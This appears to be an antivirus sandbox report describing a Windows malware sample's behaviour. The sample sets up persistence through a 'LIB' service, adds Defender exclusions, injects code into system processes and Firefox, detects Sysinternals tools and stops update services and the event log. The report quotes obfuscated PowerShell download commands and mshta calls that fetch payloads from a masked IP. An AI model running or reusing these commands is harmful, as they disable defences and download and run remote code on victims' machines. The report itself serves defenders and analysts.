Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\LIB] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\LIB] 'ImagePath' = '%ALLUSERSPROFILE%\Mig\Mig.exe'
Creates the following services
- 'LIB' %ALLUSERSPROFILE%\Mig\Mig.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath c:\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Injects code into
the following system processes:
- <SYSTEM32>\dialer.exe
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
- <SYSTEM32>\sc.exe
- <SYSTEM32>\conhost.exe
- <SYSTEM32>\powercfg.exe
- <SYSTEM32>\wbem\wmiprvse.exe
- <SYSTEM32>\sppsvc.exe
- <SYSTEM32>\wudfhost.exe
- <SYSTEM32>\cmd.exe
- %WINDIR%\explorer.exe
- <SYSTEM32>\taskhost.exe
- <SYSTEM32>\spoolsv.exe
- <SYSTEM32>\svchost.exe
- <SYSTEM32>\lsm.exe
- <SYSTEM32>\lsass.exe
- <SYSTEM32>\services.exe
- <SYSTEM32>\winlogon.exe
- <SYSTEM32>\dwm.exe
- <SYSTEM32>\wusa.exe
the following user processes:
- firefox.exe
Hooks functions
in browsers
- firefox.exe process, advapi32.dll module
Searches for windows to
detect analytical utilities:
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'RegmonClass', WindowName: ''
- ClassName: '', WindowName: 'Registry Monitor - Sysinternals: www.sysinternals.com'
Modifies file system
Creates the following files
- %TEMP%\tempscript.js
- %APPDATA%\cmd.vbs
- %APPDATA%\lb31.exe
- %ALLUSERSPROFILE%\mig\mig.exe
Deletes the following files
- %TEMP%\tempscript.js
Network activity
Connects to
- '17#.#13.115.178':80
TCP
HTTP GET requests
- http://17#.#13.115.178/FF/3.png
- http://17#.#13.115.178/FF/2.png
- http://17#.#13.115.178/FF/CMD.png
- http://17#.#13.115.178/Windows-Update
- http://17#.#13.115.178/Windows-Update/
- http://17#.#13.115.178/FF/1.png
- http://17#.#13.115.178/FF/M.png
Miscellaneous
Searches for the following windows
- ClassName: '18467-41' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' %TEMP%\tempScript.js
- '<SYSTEM32>\wscript.exe' "%APPDATA%\CMD.vbs"
- '%APPDATA%\lb31.exe'
- '%ALLUSERSPROFILE%\mig\mig.exe'
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://17#.#13.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replac...
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' create "LIB" binpath= "%ALLUSERSPROFILE%\Mig\Mig.exe" start= "auto"
- '<SYSTEM32>\sc.exe' delete "LIB"
- '<SYSTEM32>\dialer.exe'
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://17#.#13.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replac...
- '<SYSTEM32>\mshta.exe' http://17#.#13.115.178/Windows-Update
- '<SYSTEM32>\cmd.exe' /c mshta http://17#.#13.115.178/Windows-Update
- '<SYSTEM32>\ipconfig.exe' /flushdns
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://17#.#13.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replac...
- '<SYSTEM32>\sc.exe' start "LIB"
- '<SYSTEM32>\sc.exe' stop eventlog
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\cmd.exe' /c mshta http://17#.#13.115.178/Windows-Update' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://17#.#13.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replac...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://17#.#13.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replac...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://17#.#13.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replac...' (with hidden window)
